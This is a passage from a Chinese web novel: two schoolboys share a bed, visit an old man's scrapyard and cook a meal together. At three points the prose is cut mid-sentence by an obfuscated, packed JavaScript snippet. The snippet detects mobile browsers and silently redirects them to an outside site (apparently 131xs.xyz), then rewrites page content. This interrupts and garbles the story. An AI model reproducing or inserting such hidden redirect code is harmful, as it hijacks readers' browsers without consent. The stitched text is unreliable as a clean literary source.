唐松只好下车来帮他,他把手掌放在顾渝后背上,另一只手使力向前推,车子缓慢移动起来。 唐松顺着前方小跑了两步,灵活地跳到了座位上,“哟吼,前进!” 顾渝两只脚十分忙乱地动着,刚才后背被抚摸过得地方有些发烫。 他无法形容那种感觉,这种热气好像从后背一直延伸到了前胸,他感到自己像个被扔在壁炉里的木柴,烧得噼里啪啦响,好像这车不是人力的,而变成了烧柴火的。 唐松喘匀了气儿,开始嫌顾渝骑得慢,“你这个速度八百年能到家哇,加速加速!” 顾渝抿着嘴唇,明显已经用尽全力,“已经很快了。”他已经觉得自己要燃尽了。 “教你一招,力气都是喊出来的,”唐松一本正经地科普自己的人生哲学,“你看电视上打羽毛球打乒乓球的,不都是边喊边打吗?你就是太闷了,闷着能有力气吗,得喊出来,喊出来就有劲儿了。” 顾渝才不信这个歪理,唐松催促他:“顾渝,你快点啊!” 顾渝只好问:“喊什么?” “喊什么都行啊,瞎喊呗,你有什么想干的,有什么愿望,喊什么都行。” 顾渝清了清嗓子,张了张嘴,口型是有了,但最终还是没能喊出来,就连勉强出口的两个字,声音在风里也很快消散,连自己都没能听清。 “我想……” 只是,可能真的是那一瞬间心有灵犀,抑或是唐松读懂了他心里在想什么,他仰着头看着深黑色的夜空,一只手抓着倒三轮的铁栏杆,上身悬空着向后倒去。 发丝在空中胡乱飘扬,敞开怀的衣服在夜风中荡起来,细白的脖颈一路向下,最后被锁骨处的领口掩住。 唐松扯着嗓子大喊道,“老子谁!也!不!服!” “要赚很多很多的钱!” “还有……还有长命百岁——开开心心——” 他肩膀一晃直起身来,扭头看着顾渝,笑意未消退,双眸明亮,就那么撞进顾渝的视线:“喂,替你喊了,现在有劲儿了没?” 唐松想,顾渝这个人,好像也没那么坏。 而顾渝把视线移开,直视前方,车流在身边疾驰而过,黑夜明亮,一颗心不知为何在胸膛里鼓动起来。 长命百岁,天天开心。 * 折腾半天终于到了家,一开门,为什么大眼睛扑扇扑扇地歪着头看着门口两个狼狈的家伙,唐松一拍脑门:“完了,忘遛狗了。” 养狗人可能都清楚,像为什么这种大型犬一天不溜在家里就会变成灾难,即便为什么是一个很乖的小女孩,也逃不过作为狗的天性——拆家。 唐松心惊胆战地在家里找了几圈,好的,掉漆的八角桌腿又被啃破了一层皮,好在老木头质量还算过关,不至于产生倒塌的风险,可以接受。 只是唐松非常了解以为什么的脾气绝对不可能只做一件坏事,可在屋里转了半天都没发现有什么其他的异样。 孩子静悄悄,必定在作妖。 为什么今天转性了?唐松正纳闷着,脑子里突然灵光一现。 等等。 他心里一咯噔,眼神最终锁定在了顾渝漏了一个洞的房门,此时正虚掩着。 不会吧。 他抓住顾渝的胳膊,眼神慌张了一下:“那个……我能进你房间看看吗?” 顾渝:“?可以,但是你要干……” 话还没说完,唐松就已经推开了那扇虚掩着的门,“啪”地一声,灯开了,房间里很整洁,桌子上干干净净,被子平铺在床上,衣服也好好地挂在衣架上。 顾渝走到唐松站在门口的身后朝里看了一眼,疑惑道:“嗯?我早上被子忘记叠了吗。” 与此同时,唐松裸眼视力五点零的双眼如焗,一下就捕捉到了顾渝床上四散的狗毛,他大步流星地向前一步,一把掀开顾渝的被子—— 一大块形状不规则的、已经被充分浸润的水渍静静地躺在这张小床的正中间。 唐松只感到天塌了,他把被子掀开一看,完蛋,也同样未能幸免。 好家伙,真是好聪明一条狗,还学会掩盖犯罪现场了。 唐松冲出门,把钻到桌子底下的为什么拖出来,捧住她的狗头,看见她虽然心虚但还是一脸无辜的样子就来气,教训道:“你是个小女生,怎么能随便上男生的床,还随地大小便!” 顾渝:“……”我以为你要替我发声了。 为什么:“嗷呜~”谁让你们都不理我? 一人一狗对视良久,而后齐齐抬头看着一脸复杂的顾渝,唐松试图帮她辩解:“为什么她平时不这样,可能是因为你的被子上还没有她熟悉的气味,所以她一时没忍住标记了一下。” 顾渝问:“那我的被子和床……” 唐松三两下把床单拆掉,连带着被子扔进洗手间,“我帮你洗,我现在就洗!” 可是现在同样面临着一个严重的问题,那就是顾渝只有一床被子和床单,还是唐松给他准备的。 顾渝:“你有多余的被子和床单吗?” 唐松:“本来是有的,但是不巧前几天被为什么咬碎了,还没来得及买新的。” 顾渝:“所以?” 唐松:“所以……” “所以我今天睡在哪?” 唐松自知理亏,虽然很不情愿,“我们可以暂时挤一挤。” 顾渝顿了顿,“你是说,你那张一米二的单人床吗?” 唐松又试图为他的单人床辩解:“我之前和别人也挤过,两个人睡完全没问题的,三个人挤一挤都能睡得下。” 没想到顾渝本来还算平静的脸色听了这话之后倒像是有些生气了,只不过关注点让唐松没能理解:“你还跟别人一起睡过?还是三个人?” “这是什么话?之前我朋友他们过来借宿,人太多就睡一张床,完全挤得下。” 顾渝又摆出非常不情愿的样子,脸色不太好。 唐松“啧”了一声,不知道他在气什么,随口瞎掰道:“你嫌弃什么,你之前也没少睡好吗。” 顾渝闻言虎躯一震,他咬着后槽牙:“我们一起睡过?” 唐松想着好兄弟睡一张床不是很正常:“对啊,你睡得可美了呢。” 顾渝铁青着脸,牙咬得咯吱咯吱响:“那你还和其他人睡一起?” 唐松不解:“那咋了?一个床你也要专属权啊。” 这未免也太霸道了,顾渝以为他皇帝出游,睡过的床都变成龙床,其他人都睡不得了吗? 别说这是他随口编的了。 顾渝脸更黑了,他把挂在门口的狗绳拿下来给为什么套上,唐松问:“你干什么?” 顾渝拎着为什么打开门,斜睨他一眼,语气凉凉:“遛狗。” 攥着狗绳被为什么拉得飞奔起来,顾渝知道唐松也许没想那么多,但是对方一脸无所谓的样子让他心里有些难过。 他朋友可真不少,人人都能睡他的床。 他竟然把他们俩睡过的床,给别人睡了。 等等,他们俩睡过? 他们俩不是柏拉图吗?! 咋睡的? 那日记里也没写过这些细节啊。 胡思乱想了半天,顾渝还是觉得,他跟以前不一样了,虽然身体是个大人,但是心灵还算是个未成年,他现在是个很保守的人,所以今晚宁愿睡床板,也不能和唐松睡一张床,尤其这张床还被别人睡过。 这种想法一直持续到了顾渝洗完澡,写完了作业, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883026|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时针已经转到了十二点半,到了该睡觉的时间了。他沉默着站到了唐松的房门,房间门没关,里面还亮着灯——唐松睡得向来都很早,也许是在等他。 他做了一下心理建设,装模作样地敲了敲门,门里很快有了应答:“进。” 他推开门进去的同时,唐松正在换衣服,也没避着顾渝,他进门的第一眼,就是一节晃眼的,白皙精瘦的腰。 顾渝心都蹦到了嗓子眼里,连忙把脸别开:“你换衣服怎么还让我进来。” 唐松想着今天跟顾渝睡,怕他龟毛找事,还特地换了件香喷喷的新睡衣,但没想到想有钱人家的孩子就是穷讲究:“你这辈子没去过澡堂子吗?都是男的,你害羞什么。” 顾渝:……这能是一码事吗。 唐松换好衣服,两个人简单走位,最终面对面站在床旁边,像包办婚姻新婚洞房花烛夜不太熟悉的夫妇:“诶,你现在睡吗?” “嗯。” 唐松指了指床:“那,那你睡里面还是外面。” 顾渝想着这个时候应该矜持一点:“都行。” “哦,那,那你睡里面吧,你半夜又梦游跑丢了就不好了。” “嗯。” 顾渝站在原地不动,唐松催他:“你快进去啊,床单我昨天新换的。” 顾渝于是脱了鞋躺了进去,脸冲着墙,尽可能地将自己缩成一小条。 他要守住底线。 灯关了,紧接着,窸窸窣窣的声音从身后传来,紧接着,床上一沉,应该是唐松躺在了他的旁边。 他在墙上贴得更紧了。 唐松也有点紧张,后知后觉开始思考,万一顾渝半夜突然想起来,会不会直接把他噶了。 那这岂不是羊入虎口了。 但看着顾渝贴在墙角,全身僵硬得都快像格尺那么笔直,他恶从胆边生,故意往顾渝那边贴了贴:“你过来点啊,好兄弟,贴墙那么紧干嘛,不凉吗?以前我们一起睡的时候,你抱我抱的可紧了。” 他纯粹是想恶心顾渝,才说出这等虎狼之词,但是话一出口,自己先被恶心得脚趾扣床单。 太有冲击力了。 不过好在效果拔群,顾渝没有回应,但喘气声明显变重了。 估计也被恶心的不行。 唐松内心狂笑,还想再逗他,往顾渝那边不断蛄蛹,只是太黑找不准距离,蛄蛹着蛄蛹着一不小心真的贴上了顾渝紧绷的后背。 热乎乎的。 那一瞬间,两个人都变成了沉默的雕塑。 唐松没想真贴着他睡,一碰到顾渝的身体,自己就先受不了了,激灵了一下飞速缩到了床边去。 杀敌一千,自损八百,唐松绷着脸想,但是赚了两百,值了。 唐松玩爽了,谨慎地调整了几次动作,过了没大一会,就彻底安静下来了。 顾渝却有点失眠了。 他睡眠质量很差,本来就有失眠的症状,每晚都难以入睡,更别说旁边睡了一个极其不稳定的大活人。 而且还是……数次睡过在一张床上的男朋友。 别说男朋友,他有记忆起,就好像从未和活人睡在过一张床上,因此分外紧张,身体始终无法放松下来,直直地贴在墙上。 不知过了多久,他仍旧无法入睡,这个姿势实在是太不舒服,他试探着伸手向后摸了摸——空间很大,易于活动。 他轻轻地转了个身,在黑夜里睁着双眼,借着月光,唐松熟睡的脸庞就在他眼前。 睡着了的唐松的眉眼看起来柔和了不少,眉头舒展着,也没有清醒时总是看着他皱眉头的表情,嘴巴紧闭着,一句不好听的话都无法说出口。 他的嘴唇颜色很深,配上白皙的皮肤显得分外红润,唇形又饱满,看起来非常柔软。 顾渝的心软了一下。他看着这张脸漫无目的地想着,过去到底发生了什么?他为什么会喜欢上这样一个人。 他样子很凶,谎话连篇,对他充满敌意,但是却又收留了他,让他能拥有一席之地,明明有那么多秘密瞒着他,偶尔又显得毫无距离感。 他们的感情又为什么……分崩离析了。 他既想知道,又不想知道。 他想的入神,然而下一秒,毫无预兆地,本该熟睡的人突然睁开了眼睛。 四目相对,顾渝的身体立刻僵住了。 他刚想说点什么,唐松一抬手,竟然把他眼睛蒙住了。 与此同时,他嘟囔起来:“诶嘛,这毛病大半夜的真吓人。” ……原来是以为他又梦游了。 顾渝彻底陷入了黑暗,视觉消失的时候,味觉、听觉和触觉就会变得特别发达。 压在眼皮上温热的温度,逐渐变沉、变软的力量,被子上包裹着非常熟悉的皂角香气,耳边是唐松沉沉的呼吸声。和顾渝想象的不太一样,当他的肩膀触碰到对方的时,他没有感到紧张,而是逐渐放松下来。 不知什么时候,他慢慢睡着了,可以预想到的,这会是一个好觉。 15. 废品站 作为奉宁市的模范重点高中,十一高一直保持着坚持双休的良好品德。 虽然有些老师认为高三之后可以适当的实行大小周制度,但是校长明显对自己的学生非常有自信,在开会的时候神采奕奕:“我们的学生,都是全市最顶尖的人才,没有一个是只能在学校里学习的,培养孩子,不光要培养学习的能力,自主性也同样是……” 老师们面色捎带犹疑,旁边教导主任带头鼓掌,于是今年的高三也同样美好双休。 高三的第一个双休日,唐松依旧很忙碌。但他一大早起来,顾渝已经在客厅里看书了,为什么趴在顾渝的脚边打盹,一人一狗画面分外和谐。 唐松打了一个哈欠:“早啊,我今天要去废品站一趟,你吃早饭了吗?” 顾渝进厨房把早饭端了出来,非常典型的豆浆油条豆腐脑三件套,“我晨跑路过早市买的。” 唐松受用地享用了早餐,刚刷了碗,顾渝已经穿戴整齐地站在门口了。 这还是唐松第一次看他穿除了睡衣以外的常服,黑色卫衣搭着浅蓝色牛仔裤,显得身长腿长,气质优越。 唐松随口问了一句:“你要出门?” 没想到顾渝说:“你不是要去废品站吗?” 唐松这才反应过来——敢情顾渝是要跟他一起去。 废品回收站建在离棚户区不远的废弃工地旁边,工厂坐地面积不大,门口生了锈的铁门开着,被风摇得吱呀响。 唐松二人骑进了门,顾渝左右一望,左边的空地上各色各式的瓶瓶罐罐堆得山一样高,右边已经被压缩好的、四四方方的大铁块在一旁整齐摞着。 这里的气味也并不好闻,但不同于垃圾场腐烂的气息,更像是酸涩的土腥味混着浓重的铁锈气。 中央则是一栋低矮的厂房,外墙用灰白色铁皮板围起,有些特别的是厂房上钉着的铝塑板招牌,蓝底,淡粉色卡通字,写着“小公主废旧物资回收中心”,“小公主”旁边还画着挥着魔法棒的艾莎公主。 工厂门口坐着一个老头,正倚在墙边张着嘴打盹,地上还放着一个喇叭,用古怪而滑稽的音调重复着“高价回收,废纸、废塑料、废铁、废铜、废家电!” 唐松把车停在他身边,打招呼:“老头醒醒,来活了。” 打盹的老头睁开浑浊的双眼,看到来人,抹了一把脸,朝他虚空踢了一脚,带起了一堆尘土:“小兔崽子吓死老子了。” 他站起身来扶着腰活动了一下,又看到旁边站着的顾渝,很自然地搭话:“哟,你哪整来的模特,这是上我们这走秀来啦。” 唐松把胳膊搭在顾渝的肩上:“介绍一下,这是我新招的小工,顾渝。顾渝,这是我程大爷,如你所见,一个收废品的老头。” 顾渝很有礼貌地点了点头:“程爷爷好。” “诶哟诶哟,这下你这生意做的比我还要大了哦,”程师傅调侃道,“都找到代言人了,小帅哥你好哦。” 顾渝不知道这师傅是在夸他还是贬他,他并不擅长这种交际,一时不知道该说什么好,转头去看唐松,可身边站着的人不知道什么时候已经不在了。 四下一看,唐松手里拖着一把不知道从哪个犄角旮旯放着的秤,自己先站上去称了称:“诶哟,完蛋了,最近又苗条了……顾渝,你也来称一下,我们比一比谁更重。” 顾渝明显没有类似的胜负欲,看了程师傅一眼,没动,唐松直接把他拽上了称:“你是不是太弱鸡了不敢称啊。” 等到顾渝站稳后,唐松一看指针停留的数字,转头冲着程师傅,板着脸道:“老头,称坏了!” “你放屁,”程师傅声如洪钟,“我这秤出了名的准!” 顾渝把他按住:“没坏,准的。” 唐松明显不信:“不是,你看着这么瘦,怎么可能这么重啊。” 顾渝身量比他稍微高点,但是从外观上来看,两个人身形其实差不多,唐松没想到顾渝比他要重这么多,伸手去掀顾渝的衣服,“你挺能藏肉的啊。” 顾渝连忙把他的手按住,唐松又转势去捏顾渝的手臂,曲折的,厚实的,硬邦邦的,他惊奇道:“我靠,肌肉!” 在他们这个年纪,拥有一身明显锻炼痕迹的肌肉是十分值得羡慕的事情。 唐松常年做体力活,身上也算结实,只不过他属于怎么吃都不胖的类型,个子长得又快,竹节一样抽起来,再怎么锻炼也没能达到那种他想要的效果。 肌肉长在顾渝身上,怎么长怎么不顺眼了,唐松使劲又捏了两下。 顾渝被唐松在他身上作乱的手欺负得不敢乱动了,他一下按住唐松,小声道:“不要这样。” “凭什么不让我碰,”唐松的胜负欲被激起,“以前不让我碰,现在垃圾也捡了,废品站也来了,我还不能碰碰了?” 唐松只想着顾渝是不是还在嫌弃他,却丝毫不觉得他这种举动,简直是活脱脱的土匪行径。 偏偏顾渝真吃这一招,他一下松了力气:“……我以前也不让你碰?” “对啊!”唐松理直气壮,气焰嚣张,只是还没来得及嚣张太久,就见顾渝突然动了。 顾渝一手轻轻掀起卫衣的下摆,另一只手捉着唐松的手腕就要往衣服里伸。 在马上要触碰到顾渝衣角的前一刻,唐松终于如梦初醒地反应过来,整个人弹了起来,如遭雷劈:“卧槽,你干嘛?!” 顾渝表情视死如归:“你摸,以后都随便摸。” 唐松简直不敢相信自己听到了什么。 这……就是好兄弟的待遇吗? 他心领了,身有点承受不住,顾渝太恐怖了,他还没那么饥渴。 唐松怂得很快:“……我开玩笑的。” 顾渝耳根红得几乎滴血:“……哦。” 疯了,都疯了。 俩人像无头苍蝇一样在原地手忙脚乱了一会,一秒八百个假动作,唐松把秤举起来又放下了,站上去又下来了,好半天才扯着脖子搬救兵:“老头,你过来!你也过来称称。” 程师傅才不惯着他,一脚过去,正好踢在了唐松的小腿上:“快干活!” 唐松几乎是落荒而逃地去卸货,一袋接着一袋地放上上秤,先是压扁的塑料瓶易拉罐,接着是纸板,最后再是玻璃瓶。 程师傅眼睛不好,看不清秤上的指针,要顾渝在旁边给他念出来,自己则拿着计算器一个数字一个数字地按,可惜眼睛太花,计算器的数字也看不太清,五分钟按两三个算快的。 唐松也不急,慢悠悠地卸着,这一车废品将近半个小时才过完称,程师傅按了按计算器,思考了一会突然道:“好像有个按差的数,完犊子了!” 唐松满头大汗地一屁股坐在车板上,“不是吧你这坏老头,又这样!”他擦了擦额头上的汗,没办法,他和程师傅对数字都极度不敏感,程师傅更甚他一筹—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883027|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记性还不好。 他喘了两口气正准备重振旗鼓,没想到顾渝直接说出一个数字,“我记着呢。” 唐松眼睛一下亮了,程师傅眨眨眼,大手使劲儿拍了一下顾渝后背,哈哈大笑道:“好小子,真是做生意的料子!” “诶诶诶,你可别跟我抢人,”唐松怕程师傅就这么把顾渝拉拢走了,赶紧把他拉到身边,“这是我的人!” 这几个字一出,顾渝脸色明显变化了一下,唐松说话总是口无遮拦,什么都不能当真,但他一边又觉不由得揣测,这是不是一语双关地暗示着什么。 程师傅懒得搭唐松的茬,唐松咳了咳,靠近顾渝的耳边悄悄说:“少想别的,踏踏实实跟着哥,好处少不了你的!” 顾渝:“……” 折腾了差不多一周的废品,还有唐松过去在废品站攒的钱,最终都换成了白花花的银子,程师傅计算器用得不好,智能手机倒是划得飞速,三两下就把钱转过去了,唐松收了钱还要得寸进尺,但这时候嘴甜了一下,凑到程师傅的跟前:“爷爷,饭饭,饿饿!” 这几句话说得有些撒娇的意味,但唐松本人浑然不觉。 程师傅面上带了点笑,又有点不适应唐松靠得太近,双手捧住唐松凑近的脸,阻止他继续凑近,又忍不住在他脸上轻轻拍了拍:“诶哟,这么大小伙子了板正点,不懂你们年轻人这些话,但是要想吃饭,就进来吃。” 唐松轻车熟路地往工厂旁边去了,他蹭过不少顿饭,轻车熟路。 挨着工厂旁边的是一个更小的彩钢板房,是工地上常见的那种临建房,可能还要更小一点,窗很小,雨水的痕迹附在上面,门开着,吊在门口的一串红菇娘透出来一点长久的生活气息。 顾渝走进这个一眼望到头的家里,比起唐松,这位程师傅可能才称得上是真正的家徒四壁。 进门是红砖和水泥搭的灶台,灶底下塞着点干柴火,旁边一个塑料外壳已经严重风化的保温瓶,吃了一半的大米,床和灶台的距离大约只有三四步左右。 墙壁糊着不知道那一年的旧报纸和明星海报,唯一显得有些生机的,便是窗台上盛放的梅花,不知是什么品种,小巧而精致地盛放着。 这个季节怎么会有梅花?顾渝留神多看了两眼,程师傅坐在床上打开了手机,“我这没什么好饭,不然给你们点点儿外卖成不?不是说年轻人都喜欢吃这个。” “就知道你懒得做饭,”唐松早就料到一般,所以早上出门之前把上次几个街坊邻居塞给他的菜肉都拎了过来,郑重宣布道,“今天本人下厨,有没有捧场的?” “啪”地一声手机落在水泥地上,程师傅大惊失色:“等等,你可别糟蹋那粮食了!” 可能是没什么做饭的天赋,唐松从小便独立自主自己下厨,掌勺十年,会做的种类其实也不少,只是味道相当令人遗憾,十年间毫无进步,他自己也没吃习惯,因此后来便很少在家做饭,都是在外头吃。 他偶尔带点吃不完的菜过来,吃了几次的程师傅决定还是由他来下厨,只是程师傅的厨艺也同样令人遗憾,没能带给唐松带来时常可以回味的爷爷家的老味道,两个人大眼对小眼之后达成协议——点外卖。 “我想明白了,”唐松说,“外卖这东西太不健康了,我们要健康饮食!” 其实是上次蔡奶奶一下子塞给他太多东西,他平时都在学校附近吃饭,实在是没机会解决掉他们。 16. 洗手作羹汤 程师傅面如土色:“做饭多麻烦啊,不如出去吃,我请你们吃大餐。” 唐松横眉:“你就是嫌弃我做饭难吃是吧!” “你就非要我说出来是吗!” 唐松顿时觉得在顾渝面前失了面子,无论如何也得给自己找补回来:“那是你岁数大了味觉失灵了,我吃着可好吃了。” 两个人争执不下,顾渝听着听着,捕捉到了几句关键的信息。 这二位独居的孤寡老少,做饭都意外地很难吃。 顾渝把自己放在一个客人的位置,本来觉得没有立场出声,可看着一老一少伸着脖子脸涨得越来越红,眼看着要吵个没完没了的时候,他还是开口了:“我来做吧。” 一老一少暂停纷争,唐松叉着腰看着顾渝,表情惊讶:“你说你做什么?” 顾渝已经撸起了袖子:“做饭。” 他打开塑料袋,蒜苗,鸡蛋,排骨,猪肉,还有点青菜,看得出来,唐松已经把今天要做的菜搭配好了。 顾渝熟练地开始掐蒜苗,唐松在一旁看得眼睛都瞪大了:“你竟然会做饭?!” 不怪他惊讶,别说像顾渝这样有钱人家的孩子,就说一般像他们这么大的学生,平时又能进过几次厨房? 顾渝能练就这项技能,还得多亏了顾敛章。顾敛章从高中起就只身被送到国外留学,他对于“独立”这个词有着非常固执而奇特的理解。 他看不惯顾渝毫无动手能力的模样,以“为了考验你的生存能力”为由,突发奇想之下将十岁的顾渝随便扔到了漂亮国读小学,随行的有一位保姆姐姐,被顾敛章指使着“偶然消失那么几天”,以此锻炼顾渝“临危处变”的能力。 顾敛章自诩教育天才,却没有想到顾渝因为是转学生,在公立学校里又因为亚洲面孔备受歧视,同学们嘲笑他,还在他的午餐里放虫子和小石子。 保姆姐姐开始可怜顾渝,但时间一长,见顾敛章从来没来看过顾渝一次,又在顾敛章三番两次的指示下逐渐开始明目张胆地偷懒,交了男朋友之后,有时候甚至半个月都不回家一次。 顾渝在这种时好时坏的情况下生活了半年左右,最后保姆姐姐与情人私奔彻底消失在了他的世界,邻居报了警,惊动了顾敛章,这才把顾渝接了回去。 那时候的记忆对顾渝来讲其实已经很模糊了,但是他从小就没什么哭闹撒娇的能力,大部分时间,他不会反抗,而是不卑不亢地接受这一切,只记得顾敛章来接他的时候对这场教育实验做出了中规中矩的评价:“适应能力尚可,但是反应能力不行。” 顾渝就是那个时候学会做饭的,回国之后没多久,母亲去世了。 有相当长一段时间,他莫名很怕顾敛章指使阿姨在他的饭菜里下毒——尽管保姆阿姨是看着他长大的,在这个家里离他最近最亲的人。他学着开始自己做饭,或者是和李辛奇一起在外面吃,一直到失忆之前。 慢慢地,他把做饭也当成了一种兴趣爱好,他尤其喜欢做家常菜,看着朴素,总被顾敛章说“掉价”,但他也不在乎。 过去的事没必要再提,顾渝简单地对唐松说:“我以前学过。” 唐松对顾渝的刻板印象再一次刷新了。 他一直以为顾渝是那种含着金汤匙出生的大少爷,在最开始认识顾渝的时候,即使他穿着校服的气质也同样与学校里的其他学生格格不入,举手投足与谈吐都充满着不太接地气的精英气息。 但现在看来,好像……不是这样。 可顾渝挽着袖子揪蒜苗的样子就在眼前。 他怎么会这么多东西? 程师傅显然比唐松要见多识广一些,或者说他的关注点与唐松有一些偏差,感慨道,“现在的孩子真能耐,你们俩都是好小子,比我家那个孽种强一百倍。” 程师傅怕把顾渝的衣服弄脏,把门上挂着的粉色Hello Kitty围裙拿了下来,叫顾渝低头。 顾渝乖乖地低下了头,程师傅拎着颈带顺势把围裙套到了顾渝的身上,又将他翻了个面,在背后打了个漂亮的蝴蝶结。 围裙的正中央画着一个很大的猫猫头,猫猫头旁边用卡通字体写着“我是小公主~”的字体,正好落在顾渝的胸口处,“咔嚓”一声,唐松举着手机憋着笑,显然是又在偷拍:“不错嘛,小顾公主。” 顾渝轻轻看他一眼,明显是已经习惯唐松这种挑衅行为,而没有得到反馈的唐松自然不甘罢休,吓唬顾渝:“我要把这个照片传到班级群里去。” “哦,”顾渝打开水龙头,冰凉的井水喷涌而出,“然后所有人都知道我为你洗手作羹汤的事情了。” 唐松拍照的手一顿。 切。 “唐松你少欺负人,说得像是你没穿过一样!”程师傅及时出面阻止了这场纷争,唐松被戳穿,一时也偃旗息鼓,洗了洗菜板切菜切肉,给顾渝打下手,添柴火。 起锅烧油,葱蒜爆锅,排骨焯水后加上豆瓣酱冰糖等调料,等到炒出油脂后,加水小火慢炖,直到肉炖得软烂脱骨,红亮浓香,汁水饱满。大铁锅在城市中已经不常见了,但这种锅做起饭来锅气十足,飘香四溢,盖还没揭,香味便已经从锅缝里往外蹿了。 炖排骨出锅,顾渝又炒了蒜苗鸡蛋和青菜,三个家常菜上桌,唐松尝了一口,一下沉默了,之后,屋子里只剩下筷子碰碗的响声。 这小小的彩钢房里似乎已经很久没有这么热闹过了,程师傅兴致很高,从床底下拽出了一个没有标签的矿泉水瓶子,打开盖子,浓醇的酒香飘出来。 他专门拿了小白瓷杯,给自己斟了一杯,还招呼唐松和顾渝一起喝:“小子们,要不要陪爷爷喝点。” “不了,”唐松忙着吃饭,已经被香晕了,“我俩还得开车呢。” 开车不喝酒,喝酒不开车,倒三轮虽小,总归也是辆车。 程师傅只好自己品味,喝得满面红光,这个年纪的人一喝酒上头便喜欢回忆过去:“想当年啊,我们家那个小崽子也贼喜欢喝酒,我一把盖子打开,她翘个小脚就过来了,说什么都非要喝一口,不给喝就哭,我只好拿个筷子尖假装沾一点给她,她裹着筷子尖小脸一鼓一鼓的,小傻子还不知道我骗她呢。” 唐松在顾渝耳边悄悄吐槽:“一喝多了就喜欢说他那个小孙女。” “你又说我什么坏话呢!”程师傅佯装生气。 唐松充耳不闻,努力扒饭。 奉宁市处于北方,也许是冬天十分寒冷的原因,这里的人们民风淳朴,大多热情好客,人与人之间几乎没什么距离感。除了阿莱和几个一起长大的发小,唐松朋友不多,更没有带别人来过这里,程师傅对顾渝有些好奇,“小渝啊,你和松子是?” 顾渝把筷子和碗放下,恭恭敬敬地回答:“同班同学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883028|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你们关系一定很好吧,我还从来没见过这小子带别人来过这儿呢。” “爷爷——”唐松急忙打断他,他可不想让顾渝听见这种话,显得他多特别一样,“你喝多了。” 果然,顾渝嘴角向上弯起,低低笑了两声,一副“我就知道”的样子:“是么。” “可不是么,”程师傅又打听,“那他在学校里表现怎么样?有没有处对象啊?” “爷爷!”唐松“腾”地一下站起来,他在这里一直跟老头谎称自己是三好学生,要是顾渝戳穿他天天在学校打架斗殴,上课睡觉还不写作业,那他的一世英名就要毁掉了。 他想去阻止顾渝,可惜已经晚了,顾渝已经开口了,不过内容却让唐松没有想到:“没有,他很乖。” 唐松臭着脸,听了这话也高兴不起来。 什么他很乖,他可是校霸好吗? 程师傅满意地点点头,唐松冷哼一声,只能咽下这口恶气。 中午一过,来往的车辆多了些,轰隆隆地开进了院子里,程师傅年龄大了,吃饱了饭就靠在床上打起盹来。 不一会,外头有交谈的声音传来,顾渝这才发现,这个小废品回收站还有别人在,而家徒四壁的程师傅似乎是这里的老板。 工厂似乎里有其他两位员工,顾渝和唐松打扫厨房的时候,一男一女把头探进里面,“老板我们吃饭去了。” 程师傅睁开眼睛,把头抬起来看了眼来人,挥挥手又躺下了。 顾渝二人走之前,程师傅还特地在床底下翻了翻,“来把这个拿走。” 是两袋薯片,说是给顾渝和唐松一人一袋。 “好久没吃过这个口味的了,”唐松倒是很开心地接了,“还有没有了?” “没啦,”程师傅哼哼笑,“知道你们小孩就喜欢这些垃圾食品,但是少吃膨化食品,对身体不好,听到没有?” “就吃就吃。”话还没说完,程师傅就打起了呼噜。 唐松无奈地笑笑,二人走出了程师傅的家。 二人一前一后走着,唐松两只手插着兜,左摇右摆不走直线,晃悠了半天,突然开口:“没想到你做饭还挺好吃的。” 顾渝笑了笑:“我以前没给你做过饭吧。” “哦,”唐松不明白他怎么忽然问这个,“是啊。” 顾渝“嗯”了一声,在心里又给自己记了两笔。 不让男朋友摸,还没给男朋友做过饭。 不称职案例加二。 自省就立马要改过,顾渝保证道,“以后不会了,我会一直做给你吃。” 唐松停住脚步,有些奇怪地回头说:“……你还会给朋友做饭吃?” 顾渝立马回答道:“这不是最基础的吗。” 他没敢说,虽然“朋友”前面还要加一个“男”字。 唐松踢了踢脚边的土,“哦”了一声。 没想到做顾渝的朋友,福利还挺不错。 可惜过段时间,可能就没这么好的待遇了。 烦。 唐松插着兜,撇着嘴,看似专注于用脚刨土坑,实际已经完全沉浸在自己的世界里了。 顾渝盯着他脸颊流畅的弧度,突然忍不住也想像程师傅那样也搓搓他的脸,手伸了出去,在中途转弯,最后只是握成拳在他肩膀上轻轻锤了一下。 “走吧。” 17. 倒骑驴与激情 莫名其妙被锤了一下,唐松不明所以,可顾渝已经像是个没事儿人一样,长腿一跨自然地坐在了倒三轮的车座上,一脚点地一脚放在脚蹬上,让唐松有一瞬间恍然他已经是有了十年拉车经验车夫的错觉。 ……真是何等强大的适应能力。 但是饭也不是白吃的,唐松踢了踢顾渝的小腿:“下来,我骑。” 顾渝一愣:“我不累的。” 